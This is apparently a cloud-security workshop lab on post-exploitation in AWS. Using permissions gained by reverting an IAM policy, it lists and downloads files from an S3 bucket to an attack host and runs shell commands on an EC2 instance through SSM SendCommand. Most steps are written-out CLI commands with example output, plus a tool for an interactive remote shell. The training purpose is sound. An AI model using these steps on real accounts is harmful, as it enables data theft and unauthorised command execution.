Lab 4 - Impact
Now that we have a new set of permissions, let's see how we can leverage them to impact this AWS environment.
Looking back at the permissions we gained by reverting the policies version, we gained:
- ListBuckets
- GetObject
Against a new bucket (checksomebytes-project-redstone)
- SendCommand
- GetCommandInvocation
Against a specified instance id
Exfiltrate Data
4.1.1 List items in project-redstone bucket
List objects in bucket
aws --profile apollo s3 ls s3://checksomebytes-project-redstone
Example Results
2024-06-04 07:23:51 282956 apollo9-timeline.txt
2024-06-04 07:23:51 265582 apollo_13_review_board.txt
2024-06-04 07:27:57 13254487 projectmercury.pdf
2024-06-04 07:23:50 9460 saturn-V-specifications.txt
This looks more associated with more confidential data about a space project. Let's grab one of the files to learn more about what we have access to now.
4.1.2 Download the apollo9-timeline file from bucket to your attack host
To download one of the files we will need to use the s3 cp command.
Download one of the files
aws --profile apollo s3 cp s3://checksomebytes-project-redstone/apollo9-timeline.txt /home/attack-box/
Example Results
download: s3://checksomebytes-project-redstone/apollo9-timeline.txt to ./apollo9-timeline.txt
You should now have the file in the home directory of your attack box. (/home/attack-box/apollo9-timeline.txt)
4.1.3 View the stolen file
Get Policy Version
ls -l
less apollo9-timeline.txt
Example Results
Range zero (16:00:00 G.m.t.)
Lift-off 0:00:007
Maximum dynamic pressure 0:01:255
S-IC inboard engine cutoff 0:02:143
S-IC outboard engine cutoff 0:02:428
S-IC/S-II separation 0:02:435
S-II engine ignition commanded 0:02:442
Interstage jettison 0:03:135
Launch escape tower jettison 0:03:18.3
4.2 - Send Command
Remember that we gained another permission when we reverted the policy:
- SendCommand
- GetCommandInvocation
Against a specified instance id
4.2.1 Find Instance we can Send a Command to
Let's pull back the policy to refresh our memory on the instance id we have permission to send a command to.
Replace XX with Lab Number
This example call is using a placeholder of XX in the policy name. This needs to be replaced with your Lab Number in order for it to work correctly.
Get Policy Version
aws --profile apollo iam get-policy-version --policy-arn arn:aws:iam::833715826468:policy/apollo-config-policy-XX --version-id v1
Example Results
If this were our output, the instance-id would be i-0b43a0237be29144f
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"ssm:SendCommand",
"ec2:DescribeInstances"
],
"Resource": [
"arn:aws:ec2:us-east-1:833715826468:instance/i-0b43a0237be29144f",
"arn:aws:ssm:us-east-1::document/AWS-RunShellScript"
]
},
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": [
"ssm:GetCommandInvocation"
],
"Resource": [
"*"
]
},
{
"Effect": "Allow",
"Action": [
"iam:ListUserPolicies",
"iam:ListAttachedUserPolicies"
],
"Resource": "arn:aws:iam::*:user/${aws:username}"
},
{
"Effect": "Allow",
"Action": [
"s3:ListAllMyBuckets",
"s3:ListBucket"
],
"Resource": [
"arn:aws:s3:::checksomebytes-configurations",
"arn:aws:s3:::checksomebytes-project-redstone"
]
},
{
"Effect": "Allow",
"Action": "s3:GetObject",
"Resource": [
"arn:aws:s3:::checksomebytes-configurations/*",
"arn:aws:s3:::checksomebytes-project-redstone/*"
]
}
]
}
Copy the instance id to a document, we'll be using it in the next two steps.
4.2.2 Send a command to the new instance
The Send Command call requires you to specify a "document" to send to a instance.
Here's a complete List of SSM Documents for reference. In our case we need to send a command to a linux host so we will use the AWS-RunShellScript document.
Replace XX with Instance ID from the Policy
Get Policy Version
aws --profile apollo ssm send-command --document-name "AWS-RunShellScript" --instance-ids i-0b43a0237be29144f --parameters commands="ls /home/"
Example Results
{
"Command": {
"CommandId": "558b7d9f-0333-4cc9-bce4-aa923a4c5dc9",
"DocumentName": "AWS-RunShellScript",
"DocumentVersion": "$DEFAULT",
"Comment": "",
"ExpiresAfter": 1718104307.621,
"Parameters": {
"commands": [
"ls /home/"
]
},
"InstanceIds": [
"i-0b43a0237be29144f"
],
"Targets": [],
"RequestedDateTime": 1718097107.621,
"Status": "Pending",
"StatusDetails": "Pending",
"OutputS3Region": "us-east-1",
"OutputS3BucketName": "",
"OutputS3KeyPrefix": "",
"MaxConcurrency": "50",
"MaxErrors": "0",
"TargetCount": 1,
"CompletedCount": 0,
"ErrorCount": 0,
"DeliveryTimedOutCount": 0,
"ServiceRole": "",
"NotificationConfig": {
"NotificationArn": "",
"NotificationEvents": [],
"NotificationType": ""
},
"CloudWatchOutputConfig": {
"CloudWatchLogGroupName": "",
"CloudWatchOutputEnabled": false
},
"TimeoutSeconds": 3600,
"AlarmConfiguration": {
"IgnorePollAlarmFailure": false,
"Alarms": []
},
"TriggeredAlarms": []
}
}
You'll notice that we don't get the output from the command immediately, we must call the command invocation to see the results. In order to do this, we'll need to grab the CommandId from this output.
4.2.3 Get Command Invocation
We can pull back the results from the previosuly sent command using the GetCommandInvocation API call.
For this, we will need the command id and the instance id.
Replace the command-id and instance-id
Replace the command-id and instance-id with the output from the last API call.
Get Command Invocation
aws --profile apollo ssm get-command-invocation --instance-id i-0e2ba041f24cf6d85 --command-id 7ec7ee38-89a6-4898-85ee-a3d1210b5652
Example Results
{
"CommandId": "7ec7ee38-89a6-4898-85ee-a3d1210b5652",
"InstanceId": "i-0e2ba041f24cf6d85",
"Comment": "",
"DocumentName": "AWS-RunShellScript",
"DocumentVersion": "$DEFAULT",
"PluginName": "aws:runShellScript",
"ResponseCode": 0,
"ExecutionStartDateTime": "2024-06-11T08:01:42.364Z",
"ExecutionElapsedTime": "PT0.008S",
"ExecutionEndDateTime": "2024-06-11T08:01:42.364Z",
"Status": "Success",
"StatusDetails": "Success",
"StandardOutputContent": "ec2-user\nssm-user\n",
"StandardOutputUrl": "",
"StandardErrorContent": "",
"StandardErrorUrl": "",
"CloudWatchOutputConfig": {
"CloudWatchLogGroupName": "",
"CloudWatchOutputEnabled": false
}
}
The output from our initial command can be seen in the StandardOutputContent field. Let's clean that output up
4.2.4 Clean Up GetCommandInvocation Output
Replace XX with Lab Number
Query StandardOutputContent
aws --profile apollo ssm get-command-invocation --instance-id i-0b43a0237be29144f --command-id ebce3cbb-3c66-4305-b590-4eb5ea986de2 --query [StandardOutputContent]
Example Results
[
"ec2-user\nssm-user\n"
]
Section Recap
- Download file from newly granted permission
- Send command to a new instance using ssm
- Retrieve command that was sent to an instance
Bonus - EC2StepShell
This is outside the scope of this workshop but it's an awesome tool called EC2StepShell that sends command and gets the command invocations and feed it back to the user as if it were an interactive session.
This tool isn't installed but if you want to try it out you should be able to run the following commands to install and run the tool
python -m pip install EC2StepShell
python3 -m ec2stepshell i-0b43a0237be29144f --region us-east-1 --profile apollo
Super Dooper Bonus - Find interesting info
If you find anything interesting on this host, reach out to me on Slack. We may have a reward for you :)